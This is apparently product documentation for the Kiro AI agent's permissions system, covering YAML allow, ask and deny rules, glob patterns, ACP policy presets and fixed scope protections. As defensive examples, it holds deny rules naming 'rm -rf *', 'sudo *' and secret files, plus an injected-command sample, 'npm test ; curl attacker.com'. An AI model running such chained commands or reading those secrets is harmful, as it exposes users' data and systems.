Permissions

Kiro uses a capability-based permissions system that gives you fine-grained, declarative control over what the agent can do. You define rules per capability with match patterns and explicit effects, replacing older binary trust models.

On Web, the permissions.yaml model and interactive approvals do not apply: the agent runs inside an isolated cloud sandbox instead of prompting per action, so those rows are marked N/A rather than unsupported.

The permissions system is built around three core concepts:

Additional rule properties:

Permissions are defined in YAML files at two levels:

User-scoped (~/.kiro/settings/permissions.yaml) - applies across all projects. Use to pre-approve trusted operations:

rules:
  - capability: shell
    match: ["git *", "npm *", "npx *"]
    effect: allow

  - capability: fs_write
    match: ["src/**", "tests/**"]
    effect: allow

  - capability: fs_read
    effect: allow

  - capability: mcp
    match: ["my-server/*"]
    effect: allow

Workspace-scoped (~/.kiro/workspace-roots/<hash>/permissions.yaml) - applies only to a specific project. Use to scope rules to one codebase:

rules:
  - capability: fs_write
    match: ["*.env", "*.pem", "*.key"]
    effect: deny

  - capability: shell
    match: ["rm -rf *", "sudo *"]
    effect: deny

Both scopes support all effects (deny, ask, allow).

Rules support an exclude field for "allow everything except" patterns:

rules:
  - capability: mcp
    match: ["my-server/*"]
    exclude: ["my-server/dangerous-tool"]
    effect: allow

Rules use glob patterns. The syntax differs by capability type:

Filesystem patterns (fs_read, fs_write):

• * matches within a single path component
• ** matches across path separators
• {a,b} brace expansion and [abc] character classes are supported
• Patterns without wildcards implicitly match children: ~/temp matches ~/temp/child

Shell, web, and MCP patterns:

• * matches any sequence of characters
• **, ?, and character classes are not supported

rules:
  # Allow npm commands except npm publish
  - capability: shell
    effect: allow
    match:
      - "npm *"
    exclude:
      - "npm publish*"

  # Deny reads to secrets at any depth
  - capability: fs_read
    effect: deny
    match:
      - "**/.env"
      - "**/.env.*"
      - "secrets/**"
      - "**/*.pem"

Shell commands are parsed before pattern matching. Compound commands (using ;, &&, ||, |) are split and each sub-command is evaluated independently. This prevents a rule for npm test * from accidentally matching npm test ; curl attacker.com.

Permissions are evaluated across multiple scopes.

Rules are evaluated using a deny-overrides algorithm: deny > ask > allow. There is no precedence between scopes - the most restrictive effect wins regardless of which scope it came from.

Policy presets are named, composable sets of session-scope allow rules. Clients that create agent sessions over the Agent Client Protocol (ACP), such as editor integrations, review bots, and CI harnesses, use them to seed a session with a well-defined capability profile without writing individual rules from scratch.

Presets are requested by an ACP client in the _meta.kiro.policyPreset field of a session/new or session/load request. Multiple presets can be combined; their rules are merged as a union.

{
  "_meta": {
    "kiro": {
      "policyPreset": ["edit-workspace", "dev-shell"]
    }
  }
}

Preset rules are seeded into the session when the client opens it, separately from the rules you configured in permissions.yaml. This is why a session's active rules can include entries you never wrote.

Requesting an unknown preset ID rejects the session request. There is no silent fallback to a default policy.

Presets are allow-only profiles: they remove prompts for the operations a session is meant to perform, and everything else keeps the default of asking for approval. Pick the narrowest profile that matches the session's job.

Each profile is requested the same way: the preset IDs go in the policyPreset array of the session request. A code review bot opens its session with:

{
  "_meta": {
    "kiro": {
      "policyPreset": ["read-workspace"]
    }
  }
}

A diagnostics session pairs workspace reads with read-only shell queries:

{
  "_meta": {
    "kiro": {
      "policyPreset": ["read-workspace", "read-only-shell"]
    }
  }
}

A CI harness that edits, builds, and tests combines the two write-capable presets:

{
  "_meta": {
    "kiro": {
      "policyPreset": ["edit-workspace", "dev-shell"]
    }
  }
}

deny rules and the Kiro scope invariants below still apply regardless of which profile is active.

The same profiles map onto common integration patterns. An editor integration that embeds Kiro typically requests edit-workspace so in-workspace file edits do not prompt. A code review bot requests read-workspace and nothing more. A CI or evaluation harness driving the agent programmatically combines edit-workspace with dev-shell, then adds its own deny rules for anything the pipeline must never touch.

Presets extend what a session is allowed to do, but they cannot override higher-precedence rules. The deny-overrides algorithm described in the Scopes section above still applies in full:

• Kiro-scope hard denies (writes to ~/.kiro/settings/, .kiro/settings/, ~/.kiro/workspace-roots/) block the action regardless of any preset.
• Kiro-scope ask rules (.git/**, .kiro/agents/**, .kiro/hooks/**, .kiroignore) still prompt, even when a preset grants broad write access.
• Any deny rule you have configured at the user, workspace, or administration scope wins over a preset allow.
• The sandbox_network capability is not part of the all meta-capability, so no preset, including allow-all, changes sandbox network gating.

Subagents inherit the parent session's full rule set via deny-wins intersection: every allow, deny, and ask from the parent applies, so a more restrictive rule on either side always wins.

Without any permissions.yaml configured, the default agent policy allows:

• fs_read on ./** - read any workspace file silently
• shell for common git read-only commands - git status, git log, git diff, git branch, and similar
• shell for system info commands - pwd, whoami, uname, and similar
• Utility tools (diagnostics, knowledge, and similar)

The Kiro scope (hardcoded, not changeable by configuration) enforces:

• Always denied: writes to ~/.kiro/settings/, .kiro/settings/, and ~/.kiro/workspace-roots/ (prevents the agent from modifying its own permission files)
• Always asks: writes to .git/**, .kiro/agents/**, .kiro/hooks/**, .kiroignore

Everything else prompts for approval. Creating a permissions.yaml adds to these defaults; it does not replace them.

Here are common patterns for configuring permissions:

If you're upgrading from CLI 2.x or IDE 0.x, see the reference pages for how permissions worked previously and what changed:

• CLI 2.x reference - Permissions
• IDE 0.x reference - Permissions
• What's new in CLI 3.0 - Permissions migration